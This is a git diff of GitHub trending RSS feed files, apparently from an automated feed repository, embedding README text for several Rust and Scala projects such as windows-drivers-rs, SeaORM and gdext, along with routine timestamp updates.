<li>Live population of configuration files from Corrosion state with user-defined <a href="https://rhai.rs/">Rhai</a> templates</li> <li>Storage and propagation of state from locally registered Consul services, replacing the central database with Corrosion's distributed state</li> <li>Secure peer-to-peer communication with the <a href="https://datatracker.ietf.org/doc/html/rfc9000">QUIC</a> transport protocol (using <a href="https://github.com/quinn-rs/quinn">Quinn</a>)</li> </ul> <h2>Usage overview</h2> <p>Run the Corrosion agent on every node/host in the cluster. Other programs running on the node use <a href="https://superfly.github.io/corrosion/api/index.html">Corrosion's HTTP API</a> to query the local Corrosion SQLite database, add and update data, and subscribe to change notifications.</p> <p>The <a href="https://superfly.github.io/corrosion/cli/index.html">Corrosion CLI</a> provides commands for administration and access to database and features.</p> <h3>Quick start</h3> <ul> <li><a href="https://superfly.github.io/corrosion/config/">Prepare the Corrosion configuration file</a></li> <li><a href="https://superfly.github.io/corrosion/schema.html">Specify the initial database schema</a></li> <li><a href="https://superfly.github.io/corrosion/cli/agent.html">Start the Corrosion agent</a></li> </ul> <p>See the WIP <a href="https://superfly.github.io/corrosion/">Corrosion documentation</a> for more details.</p> <h2>Building Corrosion</h2> <p>Clone <a href="https://github.com/superfly/corrosion.git">https://github.com/superfly/corrosion.git</a>.</p> <p>From within the repo directory:</p> <pre><code>cargo build --release &amp;&amp; mv target/release/corrosion ./ </code></pre> + + + jaytaph/gosub-browser + 2023-09-25T01:39:47Z + tag:github.com,2023-09-25:/jaytaph/gosub-browser + + <p>A html5 tokenizer / parser that hopefully grow up to be a browser</p><hr><h1>GoSub: Gateway to Optimized Searching and Unlimited Browsing</h1> <p>A feeble attempt on writing a browser and learning rust.</p> <p><strong>Note: code in the main branch is currently not stable and might not even compile.</strong></p> <pre><code> _ | | __ _ ___ ___ _ _| |__ / _` |/ _ \/ __| | | | '_ \ | (_| | (_) \__ \ |_| | |_) | \__, |\___/|___/\__,_|_.__/ __/ | The Gateway to |___/ Optimized Searching and Unlimited Browsing </code></pre> <h2>About</h2> <p>This repository is part of the GoSub browser project. Currently there is only a single component/repository (this one), but the idea will be that there are many other components that as a whole make up a full-fledged browser. Each of the components can probably function as something standalone (ie: html5 parser, css parser, etc).</p> <p>In the future, this component (html5 parser) will receive through an API a stream of bytes and will output a stream of events. The events will be consumed by the next component and so on, until we can display something in a window/user agent. This could very well be a text-mode browser, but the idea is to have a graphical browser.</p> <h2>Status</h2> <p>This is a work in progress. The current status is that the parser can parse a few html5 documents, but it is far from ready. The main goal is to be able to parse correctly all the tests in the html5lib-tests repository (<a href="https://github.com/html5lib/html5lib-tests">https://github.com/html5lib/html5lib-tests</a>). As soon as we can do this, we can try and see if we can generate a DOM tree and then we can start thinking about the next component (css parser).</p> <h2>How to build</h2> <p>This project uses cargo (<a href="https://doc.rust-lang.org/cargo/">https://doc.rust-lang.org/cargo/</a>). To build the project, simply run:</p> <pre><code>cargo build </code></pre> <p>This will create the following binaries and libs:</p> <table> <thead> <tr> <th>File</th> <th>Type</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>gosub-engine</td> <td>lib</td> <td>The actual html5 parser/tokenizer</td> </tr> <tr> <td>gosub-browser</td> <td>bin</td> <td>Dummy browser (see below)</td> </tr> <tr> <td>parser_test</td> <td>bin</td> <td>A test suite for the parser</td> </tr> <tr> <td>tokenizer_test</td> <td>bin</td> <td>A test suite for the tokenizer</td> </tr> </tbody> </table> <h3>Gosub-engine</h3> <p>This is the actual html5 parser/tokenizer. It is a library that can be used by other projects. It is not a standalone project. It is used by the gosub-browser project.</p> <h3>Gosub-browser</h3> <p>This is a dummy browser. It is not a real browser, it is just a test project to see if the parser/tokenizer is working and tries to parse the given url on the command line:</p> <pre><code class="language-shell">$ gosub-browser https://www.google.com </code></pre> <h3>Parser_test</h3> <p>This is a test suite for the parser. It is not a standalone project. It is used by the gosub-engine project. You need to specify the directory to the html5lib-test in order to run, or it will use the default one (./html5lib-tests).</p> <pre><code class="language-shell">$ parser_test /path/to/html5lib-tests </code></pre> <h3>Tokenizer_test</h3> <p>This is a test suite for the tokenizer. It is not a standalone project. It is used by the gosub-engine project. You need to specify the directory to the html5lib-test in order to run, or it will use the default one (./html5lib-tests).</p> <pre><code class="language-shell">$ tokenizer_test /path/to/html5lib-tests </code></pre> + + + microsoft/windows-drivers-rs + 2023-09-25T01:39:47Z + tag:github.com,2023-09-25:/microsoft/windows-drivers-rs + + <p>Platform that enables Windows driver development in Rust. Developed by Surface.</p><hr><h1>windows-drivers-rs</h1> <p>This repo is a collection of Rust crates that enable developers to develop Windows Drivers in Rust. It is the intention to support both WDM and WDF driver development models. This repo contains the following crates:</p> <ul> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-build">wdk-build</a>: A library to configure a Cargo build script for binding generation and downstream linking of the WDK (Windows Developer Kit). While this crate is written to be flexible with different WDK releases and different WDF version, it is currently only tested for NI eWDK, KMDF 1.33, UMDF 2.33, and WDM Drivers. There may be missing linker options for older DDKs.</li> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-sys">wdk-sys</a>: Direct FFI bindings to APIs available in the Windows Development Kit (WDK). This includes both autogenerated ffi bindings from <code>bindgen</code>, and also manual re-implementations of macros that bindgen fails to generate.</li> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk">wdk</a>: Safe idiomatic bindings to APIs available in the Windows Development Kit (WDK)</li> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-panic/">wdk-panic</a>: Default panic handler implementations for programs built with WDK</li> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-alloc">wdk-alloc</a>: alloc support for binaries compiled with the Windows Development Kit (WDK)</li> <li><a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-macros">wdk-macros</a>: A collection of macros that help make it easier to interact with wdk-sys's direct bindings. This crate is re-exported via <code>wdk-sys</code> and crates should typically never need to directly depend on <code>wdk-macros</code></li> </ul> <p>To see an example of this repo used to create drivers, see <a href="https://github.com/microsoft/Windows-rust-driver-samples">Windows-rust-driver-samples</a>.</p> <p>Note: This project is still in early stages of development and is not yet recommended for commercial use. We encourage community experimentation, suggestions and discussions! We will be using our <a href="https://github.com/microsoft/windows-drivers-rs/discussions">GitHub Discussions forum</a> as the main form of engagement with the community!</p> <h2><a name="supported-configs">Supported Configurations</a></h2> <a name="supported-configs"> </a> <p><a name="supported-configs">This project was built with support of WDM, KMDF, and UMDF drivers in mind, as well as Win32 Services. This includes support for all versions of WDF included in WDK 22H2 and newer. Currently, the crates available on </a><a href="https://crates.io"><code>crates.io</code></a> only support KMDF v1.33, but bindings can be generated for everything else by cloning <code>windows-drivers-rs</code> and modifying the config specified in <a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/crates/wdk-sys/build.rs"><code>build.rs</code> of <code>wdk-sys</code></a>. Crates.io support for other WDK configurations is planned in the near future.</p> <h2>Getting Started</h2> <h3>Build Requirements</h3> <ul> <li> <p>Binding generation via <code>bindgen</code> requires <code>libclang</code>. The easiest way to acquire this is via <code>winget</code></p> <ul> <li><code>winget install LLVM.LLVM</code></li> </ul> </li> <li> <p>To execute post-build tasks (ie. <code>inf2cat</code>, <code>infverif</code>, etc.), <code>cargo make</code> is used</p> <ul> <li><code>cargo install --locked cargo-make --no-default-features --features tls-native</code></li> </ul> </li> <li> <p>Building programs with the WDK also requires being in a valid WDK enviroment. The recommended way to do this is to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/develop/using-the-enterprise-wdk#getting-started">enter an eWDK developer prompt</a></p> </li> </ul> <h2>Adding windows-drivers-rs to Your Driver Package</h2> <p>The crates in this repository are available from <a href="https://crates.io"><code>crates.io</code></a>, but take into account the current limitations outlined in <a href="https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/#supported-configs">Supported Configurations</a>. If you need to support a different config, try cloning this repo and using <a href="https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html#specifying-path-dependencies">path dependencies</a></p> <ol> <li> <p>Create a new Cargo package with a lib crate:</p> <pre><code class="language-pwsh">cargo new &lt;driver_name&gt; --lib --config </code></pre> </li> <li> <p>Add dependencies on <code>windows-drivers-rs</code> crates:</p> <pre><code class="language-pwsh">cd &lt;driver_name&gt; cargo add --build wdk-build cargo add wdk wdk-sys wdk-alloc wdk-panic </code></pre> </li> <li> <p>Set the crate type to <code>cdylib</code> by adding the following snippet to <code>Cargo.toml</code>:</p> <pre><code class="language-toml">[lib] crate-type = ["cdylib"] </code></pre> </li> <li> <p>Set crate panic strategy to <code>abort</code> in <code>Cargo.toml</code>:</p> <pre><code class="language-toml">[profile.dev] panic = "abort" lto = true # optional setting to enable Link Time Optimizations [profile.release] panic = "abort" lto = true # optional setting to enable Link Time Optimizations </code></pre> </li> <li> <p>Create a <code>build.rs</code> and add the following snippet:</p> <pre><code class="language-rust">fn main() -&gt; Result&lt;(), wdk_build::ConfigError&gt; { wdk_build::Config::from_env_auto()?.configure_binary_build(); Ok(()) } </code></pre> </li> <li> <p>Mark your driver as <code>no_std</code> in <code>lib.rs</code>:</p> <pre><code class="language-rust">#![no_std] </code></pre> </li> <li> <p>Add a panic handler in <code>lib.rs</code>:</p> <pre><code class="language-rust">#[cfg(not(test))] extern crate wdk_panic; </code></pre> </li> <li> <p>Add a global allocator in <code>lib.rs</code>:</p> <pre><code class="language-rust">#[cfg(not(test))] use wdk_alloc::WDKAllocator; #[cfg(not(test))] #[global_allocator] static GLOBAL_ALLOCATOR: WDKAllocator = WDKAllocator; </code></pre> </li> <li> <p>Add a DriverEntry in <code>lib.rs</code>:</p> <pre><code class="language-rust">use wdk_sys::{ DRIVER_OBJECT, NTSTATUS, PCUNICODE_STRING, }; #[export_name = "DriverEntry"] // WDF expects a symbol with the name DriverEntry pub unsafe extern "system" fn driver_entry( driver: &amp;mut DRIVER_OBJECT, registry_path: PCUNICODE_STRING, ) -&gt; NTSTATUS { 0 } </code></pre> </li> <li> <p>Add a <code>Makefile.toml</code>:</p> </li> </ol> <pre><code class="language-toml">extend = ".cargo-make-loadscripts/rust-driver-makefile.toml" [env] CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true [config] load_script = """ pwsh.exe -Command "\ if ($env:CARGO_MAKE_CRATE_IS_WORKSPACE) { return };\ $cargoMakeURI = 'https://raw.githubusercontent.com/microsoft/windows-drivers-rs/main/rust-driver-makefile.toml';\ New-Item -ItemType Directory .cargo-make-loadscripts -Force;\ Invoke-RestMethod -Method GET -Uri $CargoMakeURI -OutFile $env:CARGO_MAKE_WORKSPACE_WORKING_DIRECTORY/.cargo-make-loadscripts/rust-driver-makefile.toml\ " """ </code></pre> <ol start="11"> <li> <p>Add an inx file that matches the name of your <code>cdylib</code> crate.</p> </li> <li> <p>Build the driver:</p> </li> </ol> <pre><code class="language-pwsh">cargo make </code></pre> <p>A <code>DriverCertificate.cer</code> file will be generated, and a signed driver package will be available at <code>target/&lt;Cargo profile&gt;/package</code></p> <h2>Trademark Notice</h2> <p>Trademarks This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow Microsoft’s Trademark &amp; Brand Guidelines. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party’s policies.</p> \ No newline at end of file diff --git a/rust/weekly/index.xml b/rust/weekly/index.xml deleted file mode 100644 index f31337230f2..00000000000 --- a/rust/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Rust Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:27Z - Weekly Trending of Rust in GitHub - - - godot-rust/gdext - 2023-09-24T02:00:27Z - tag:github.com,2023-09-24:/godot-rust/gdext - - <p>Rust bindings for Godot 4</p><hr><p><img src="https://raw.githubusercontent.com/godot-rust/gdext/master/assets/gdext-ferris.png" alt="logo.png"></p> <h1>Rust bindings for Godot 4</h1> <p><em><strong><a href="https://godot-rust.github.io">Website</a></strong> | <strong><a href="https://godot-rust.github.io/docs/gdext">API Docs</a></strong> | <a href="https://discord.gg/aKUCJ8rJsc">Discord</a> | <a href="https://mastodon.gamedev.place/@GodotRust">Mastodon</a> | <a href="https://twitter.com/GodotRust">Twitter</a></em></p> <p><strong>gdext</strong> is a library to bind the <strong>Rust</strong> language to <strong>Godot 4</strong>.</p> <p><a href="https://godotengine.org">Godot</a> is an open-source game engine, whose version 4 has brought large-scale improvements.<br> Its <em>GDExtension</em> API allows integrating third-party languages and libraries.</p> <blockquote> <p>If you are looking for a Rust binding for GDNative (Godot 3), check out <a href="https://github.com/godot-rust/gdnative"><code>gdnative</code></a>.</p> </blockquote> <h2>Philosophy</h2> <p>The Rust binding is an alternative to GDScript, with a focus on type safety, scalability and performance.</p> <p>The primary goal of gdext is to provide a <em><strong>pragmatic Rust API</strong></em> for game developers.</p> <p>Recurring workflows should be simple and require minimal boilerplate. APIs are designed to be safe and idiomatic Rust wherever possible. Due to interacting with Godot as a C++ engine, we sometimes follow unconventional approaches to provide a good user experience.</p> <h2>Development status</h2> <p>The gdext library has evolved a lot during 2023 and is now in a usable state for smaller projects. However, it is still in an early stage and there are certain things to keep in mind.</p> <blockquote> <p><strong>Warning</strong> The public API introduces breaking changes from time to time. Most of these are motivated by new features and improved ergonomics for existing ones. See also <a href="https://godot-rust.github.io/book/gdext/advanced/compatibility.html#rust-api-stability">API stability</a> in the book.</p> </blockquote> <p><strong>Features:</strong> While most Godot features are available, some less commonly used ones are missing. See <a href="https://github.com/godot-rust/gdext/issues/24">#24</a> for an up-to-date overview.<br> At this point, there is <strong>no</strong> support for Android, iOS or WASM. Contributions are very welcome!</p> <p><strong>Bugs:</strong> Most undefined behavior related to the FFI layer has been ironed out, but there may still be occasional safety issues. Apart from that, new additions to the library are typically not feature-complete from the start, but become more robust due to feedback and testing over time. To counter bugs, we have an elaborate CI suite including clippy, unit tests, engine integration tests and memory sanitizers.</p> <h2>Getting started</h2> <p>To dive into Rust development with gdext, check out <a href="https://godot-rust.github.io/book/gdext">the godot-rust book</a>. The book is still under construction, but already includes a tutorial to set up a simple example.</p> <p>To consult the API reference, have a look at the online <a href="https://godot-rust.github.io/docs/gdext">API Docs</a>.</p> <p>Furthermore, we provide a small example game in the <a href="https://raw.githubusercontent.com/godot-rust/gdext/master/examples/dodge-the-creeps"><code>examples/dodge-the-creeps</code> directory</a>.</p> <p>If you need help, join our <a href="https://discord.gg/aKUCJ8rJsc">Discord</a> server and ask in the <code>#help-gdext</code> channel!</p> <h2>License</h2> <p>We use the <a href="https://www.mozilla.org/en-US/MPL">Mozilla Public License 2.0</a>. MPL tries to find a balance between permissive (MIT, Apache, Zlib) and copyleft licenses (GPL, LGPL).</p> <p>The license provides a lot of freedom: you can use the library commercially and keep your own code closed-source, i.e. game development is not restricted. The main condition is that if you change gdext <em>itself</em>, you need to make those changes available (and only those, no surrounding code).</p> <h2>Contributing</h2> <p>Contributions are very welcome! If you want to help out, see <a href="https://raw.githubusercontent.com/godot-rust/gdext/master/Contributing.md"><code>Contributing.md</code></a> for some pointers on getting started.</p> - - - CloudCannon/pagefind - 2023-09-24T02:00:27Z - tag:github.com,2023-09-24:/CloudCannon/pagefind - - <p>Static low-bandwidth search at scale</p><hr><h1>Pagefind</h1> <p>Pagefind is a fully static search library that aims to perform well on large sites, while using as little of your users’ bandwidth as possible, and without hosting any infrastructure.</p> <p>The full documentation on using Pagefind can be found at <a href="https://pagefind.app/">https://pagefind.app/</a>.</p> - - - SeaQL/sea-orm - 2023-09-24T02:00:27Z - tag:github.com,2023-09-24:/SeaQL/sea-orm - - <p>🐚 An async & dynamic ORM for Rust</p><hr><div align="center"> <img src="https://www.sea-ql.org/SeaORM/img/SeaORM banner.png"> <h1>SeaORM</h1> <h3>🐚 An async &amp; dynamic ORM for Rust</h3> <p><a href="https://crates.io/crates/sea-orm"><img src="https://img.shields.io/crates/v/sea-orm.svg?sanitize=true" alt="crate"></a> <a href="https://docs.rs/sea-orm"><img src="https://docs.rs/sea-orm/badge.svg?sanitize=true" alt="docs"></a> <a href="https://github.com/SeaQL/sea-orm/actions/workflows/rust.yml"><img src="https://github.com/SeaQL/sea-orm/actions/workflows/rust.yml/badge.svg?sanitize=true" alt="build status"></a></p> </div> <h1>SeaORM</h1> <h4>SeaORM is a relational ORM to help you build web services in Rust with the familiarity of dynamic languages.</h4> <h2>Getting Started</h2> <p><a href="https://github.com/SeaQL/sea-orm/stargazers/"><img src="https://img.shields.io/github/stars/SeaQL/sea-orm.svg?style=social&amp;label=Star&amp;maxAge=1" alt="GitHub stars"></a> If you like what we do, consider starring, sharing and contributing!</p> <ul> <li><a href="https://www.sea-ql.org/SeaORM">Documentation</a></li> <li><a href="https://www.sea-ql.org/sea-orm-tutorial">Tutorial</a></li> <li><a href="https://www.sea-ql.org/sea-orm-cookbook">Cookbook</a></li> </ul> <p><a href="https://discord.com/invite/uCPdDXzbdv"><img src="https://img.shields.io/discord/873880840487206962?label=Discord" alt="Discord"></a> Join our Discord server to chat with others in the SeaQL community!</p> <p>Please help us with maintaining SeaORM by completing the <a href="https://sea-ql.org/community-survey">SeaQL Community Survey 2023</a>!</p> <p>Integration examples:</p> <ul> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/actix_example">Actix v4 Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/actix3_example">Actix v3 Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/axum_example">Axum Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/graphql_example">GraphQL Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/jsonrpsee_example">jsonrpsee Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/poem_example">Poem Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/rocket_example">Rocket Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/salvo_example">Salvo Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/tonic_example">Tonic Example</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/examples/seaography_example">Seaography Example</a></li> </ul> <h2>Features</h2> <ol> <li> <p>Async</p> <p>Relying on <a href="https://github.com/launchbadge/sqlx">SQLx</a>, SeaORM is a new library with async support from day 1.</p> </li> <li> <p>Dynamic</p> <p>Built upon <a href="https://github.com/SeaQL/sea-query">SeaQuery</a>, SeaORM allows you to build complex dynamic queries.</p> </li> <li> <p>Testable</p> <p>Use mock connections and/or SQLite to write tests for your application logic.</p> </li> <li> <p>Service Oriented</p> <p>Quickly build services that join, filter, sort and paginate data in REST, GraphQL and gRPC APIs.</p> </li> </ol> <h2>A quick taste of SeaORM</h2> <h3>Entity</h3> <pre><code class="language-rust">use sea_orm::entity::prelude::*; #[derive(Clone, Debug, PartialEq, DeriveEntityModel)] #[sea_orm(table_name = "cake")] pub struct Model { #[sea_orm(primary_key)] pub id: i32, pub name: String, } #[derive(Copy, Clone, Debug, EnumIter, DeriveRelation)] pub enum Relation { #[sea_orm(has_many = "super::fruit::Entity")] Fruit, } impl Related&lt;super::fruit::Entity&gt; for Entity { fn to() -&gt; RelationDef { Relation::Fruit.def() } } </code></pre> <h3>Select</h3> <pre><code class="language-rust">// find all models let cakes: Vec&lt;cake::Model&gt; = Cake::find().all(db).await?; // find and filter let chocolate: Vec&lt;cake::Model&gt; = Cake::find() .filter(cake::Column::Name.contains("chocolate")) .all(db) .await?; // find one model let cheese: Option&lt;cake::Model&gt; = Cake::find_by_id(1).one(db).await?; let cheese: cake::Model = cheese.unwrap(); // find related models (lazy) let fruits: Vec&lt;fruit::Model&gt; = cheese.find_related(Fruit).all(db).await?; // find related models (eager) let cake_with_fruits: Vec&lt;(cake::Model, Vec&lt;fruit::Model&gt;)&gt; = Cake::find().find_with_related(Fruit).all(db).await?; </code></pre> <h3>Insert</h3> <pre><code class="language-rust">let apple = fruit::ActiveModel { name: Set("Apple".to_owned()), ..Default::default() // no need to set primary key }; let pear = fruit::ActiveModel { name: Set("Pear".to_owned()), ..Default::default() }; // insert one let pear = pear.insert(db).await?; // insert many Fruit::insert_many([apple, pear]).exec(db).await?; </code></pre> <h3>Update</h3> <pre><code class="language-rust">use sea_orm::sea_query::{Expr, Value}; let pear: Option&lt;fruit::Model&gt; = Fruit::find_by_id(1).one(db).await?; let mut pear: fruit::ActiveModel = pear.unwrap().into(); pear.name = Set("Sweet pear".to_owned()); // update one let pear: fruit::Model = pear.update(db).await?; // update many: UPDATE "fruit" SET "cake_id" = NULL WHERE "fruit"."name" LIKE '%Apple%' Fruit::update_many() .col_expr(fruit::Column::CakeId, Expr::value(Value::Int(None))) .filter(fruit::Column::Name.contains("Apple")) .exec(db) .await?; </code></pre> <h3>Save</h3> <pre><code class="language-rust">let banana = fruit::ActiveModel { id: NotSet, name: Set("Banana".to_owned()), ..Default::default() }; // create, because primary key `id` is `NotSet` let mut banana = banana.save(db).await?; banana.name = Set("Banana Mongo".to_owned()); // update, because primary key `id` is `Set` let banana = banana.save(db).await?; </code></pre> <h3>Delete</h3> <pre><code class="language-rust">// delete one let orange: Option&lt;fruit::Model&gt; = Fruit::find_by_id(1).one(db).await?; let orange: fruit::Model = orange.unwrap(); fruit::Entity::delete(orange.into_active_model()) .exec(db) .await?; // or simply let orange: Option&lt;fruit::Model&gt; = Fruit::find_by_id(1).one(db).await?; let orange: fruit::Model = orange.unwrap(); orange.delete(db).await?; // delete many: DELETE FROM "fruit" WHERE "fruit"."name" LIKE 'Orange' fruit::Entity::delete_many() .filter(fruit::Column::Name.contains("Orange")) .exec(db) .await?; </code></pre> <h2>🧭 Seaography: GraphQL integration (preview)</h2> <p><a href="https://github.com/SeaQL/seaography">Seaography</a> is a GraphQL framework built on top of SeaORM. Seaography allows you to build GraphQL resolvers quickly. With just a few commands, you can launch a GraphQL server from SeaORM entities!</p> <p>Starting <code>0.12</code>, <code>seaography</code> integration is built into <code>sea-orm</code>. While Seaography development is still in an early stage, it is especially useful in prototyping and building internal-use admin panels.</p> <img src="https://raw.githubusercontent.com/SeaQL/sea-orm/master/examples/seaography_example/Seaography%20example.png"> <p>Look at the <a href="https://github.com/SeaQL/sea-orm/tree/master/examples/seaography_example">Seaography Example</a> to learn more.</p> <h2>Learn More</h2> <ol> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/DESIGN.md">Design</a></li> <li><a href="https://www.sea-ql.org/SeaORM/docs/internal-design/architecture/">Architecture</a></li> <li><a href="https://www.sea-ql.org/blog/2022-07-30-engineering/">Engineering</a></li> <li><a href="https://github.com/SeaQL/sea-orm/tree/master/CHANGELOG.md">Change Log</a></li> </ol> <h2>Who's using SeaORM?</h2> <p>The following products are powered by SeaORM:</p> <table> <tbody> <tr> <td><br><a href="https://caido.io/"><img src="https://www.sea-ql.org/SeaORM/img/other/caido-logo.png" width="250"></a><br>A lightweight web security auditing toolkit</td> <td><a href="https://www.svix.com/"><img src="https://www.sea-ql.org/SeaORM/img/other/svix-logo.svg?sanitize=true" width="250"></a><br>The enterprise ready webhooks service</td> <td><a href="https://www.spyglass.fyi/"><img src="https://www.sea-ql.org/SeaORM/img/other/spyglass-logo.svg?sanitize=true" width="250"></a><br>A personal search engine</td> </tr> </tbody> </table> <p>For more projects, see <a href="https://github.com/SeaQL/sea-orm/raw/master/COMMUNITY.md#built-with-seaorm">Built with SeaORM</a>. Feel free to <a href="https://github.com/SeaQL/sea-orm/issues/403">submit yours</a>!</p> <h2>License</h2> <p>Licensed under either of</p> <ul> <li>Apache License, Version 2.0 (<a href="https://raw.githubusercontent.com/SeaQL/sea-orm/master/LICENSE-APACHE">LICENSE-APACHE</a> or <a href="http://www.apache.org/licenses/LICENSE-2.0">http://www.apache.org/licenses/LICENSE-2.0</a>)</li> <li>MIT license (<a href="https://raw.githubusercontent.com/SeaQL/sea-orm/master/LICENSE-MIT">LICENSE-MIT</a> or <a href="http://opensource.org/licenses/MIT">http://opensource.org/licenses/MIT</a>)</li> </ul> <p>at your option.</p> <h2>Contribution</h2> <p>Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.</p> <p>SeaORM is a community driven project. We welcome you to participate, contribute and together help build Rust's future.</p> <p>A big shout out to our contributors!</p> <p><a href="https://github.com/SeaQL/sea-orm/graphs/contributors"><img src="https://opencollective.com/sea-orm/contributors.svg?width=1000&amp;button=false" alt="Contributors"></a></p> <h2>Sponsorship</h2> <p><a href="https://www.sea-ql.org/">SeaQL.org</a> is an independent open-source organization run by passionate developers. If you enjoy using our libraries, please star and share our repositories. If you feel generous, a small donation via <a href="https://github.com/sponsors/SeaQL">GitHub Sponsor</a> will be greatly appreciated, and goes a long way towards sustaining the organization.</p> <p>We invite you to participate, contribute and together help build Rust's future.</p> <h2>Mascot</h2> <p>A friend of Ferris, Terres the hermit crab is the official mascot of SeaORM. His hobby is collecting shells.</p> <img alt="Terres" src="https://www.sea-ql.org/SeaORM/img/Terres.png" width="400"> - - \ No newline at end of file diff --git a/sage/daily/index.xml b/sage/daily/index.xml index 33e409e0896..21aaa6c1b04 100644 --- a/sage/daily/index.xml +++ b/sage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:59Z + 2023-09-25T01:40:08Z Daily Trending of Sage in GitHub \ No newline at end of file diff --git a/sage/weekly/index.xml b/sage/weekly/index.xml deleted file mode 100644 index 6ee96e45850..00000000000 --- a/sage/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sage Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:37Z - Weekly Trending of Sage in GitHub - - \ No newline at end of file diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml index 1d1064acf4c..8ece140fc4d 100644 --- a/saltstack/daily/index.xml +++ b/saltstack/daily/index.xml @@ -1,7 +1,7 @@ GitHub SaltStack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:00Z + 2023-09-25T01:40:06Z Daily Trending of SaltStack in GitHub \ No newline at end of file diff --git a/saltstack/weekly/index.xml b/saltstack/weekly/index.xml deleted file mode 100644 index 31eb48383c6..00000000000 --- a/saltstack/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SaltStack Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:35Z - Weekly Trending of SaltStack in GitHub - - \ No newline at end of file diff --git a/sas/daily/index.xml b/sas/daily/index.xml index d9df0ee5943..2d85fdeddbd 100644 --- a/sas/daily/index.xml +++ b/sas/daily/index.xml @@ -1,7 +1,7 @@ GitHub SAS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:01Z + 2023-09-25T01:40:07Z Daily Trending of SAS in GitHub \ No newline at end of file diff --git a/sas/weekly/index.xml b/sas/weekly/index.xml deleted file mode 100644 index c777d951d3d..00000000000 --- a/sas/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SAS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:34Z - Weekly Trending of SAS in GitHub - - \ No newline at end of file diff --git a/sass/daily/index.xml b/sass/daily/index.xml index b1543b907a2..166d05d47b0 100644 --- a/sass/daily/index.xml +++ b/sass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:02Z + 2023-09-25T01:40:09Z Daily Trending of Sass in GitHub \ No newline at end of file diff --git a/sass/weekly/index.xml b/sass/weekly/index.xml deleted file mode 100644 index 07102e11cc0..00000000000 --- a/sass/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sass Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:36Z - Weekly Trending of Sass in GitHub - - \ No newline at end of file diff --git a/scala/daily/index.xml b/scala/daily/index.xml index f1fe208d7cf..4a93bd5bd11 100644 --- a/scala/daily/index.xml +++ b/scala/daily/index.xml @@ -1,28 +1,7 @@ GitHub Scala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:08Z + 2023-09-25T01:40:16Z Daily Trending of Scala in GitHub - - getkyo/kyo - 2023-09-24T01:41:08Z - tag:github.com,2023-09-24:/getkyo/kyo - - <p>Toolkit for Scala Development</p><hr><h2><img src="https://raw.githubusercontent.com/getkyo/kyo/master/kyo.png" alt="kyo"></h2> <p><img src="https://github.com/getkyo/kyo/workflows/build/badge.svg?sanitize=true" alt="Build Status"> <img src="https://img.shields.io/discord/1087005439859904574" alt="Chat"></p> <!--![Version](https://img.shields.io/maven-central/v/io.getkyo/kyo-core_3)---> <h3>This readme is a working in progress. If you'd like to try Kyo, please build from source.</h3> <p>Kyo is a complete toolkit for Scala development, spanning from browser-based apps in ScalaJS to high-performance backends on the JVM. It introduces a novel approach based on algebraic effects to deliver straightforward APIs in the pure Functional Programming paradigm. Unlike similar solutions, Kyo achieves this without inundating developers with esoteric concepts from Category Theory or using cryptic symbolic operators, resulting in a development experience that is both intuitive and robust.</p> <p>Drawing inspiration from <a href="https://zio.dev/">ZIO</a>'s <a href="https://degoes.net/articles/rotating-effects">effect rotation</a>, Kyo takes a more generalized approach. While ZIO restricts effects to two channels, dependency injection and short-circuiting, Kyo allows for an arbitrary number of effectful channels. This enhancement gives developers greater flexibility in effect management, while also simplifying Kyo's internal codebase through more principled design 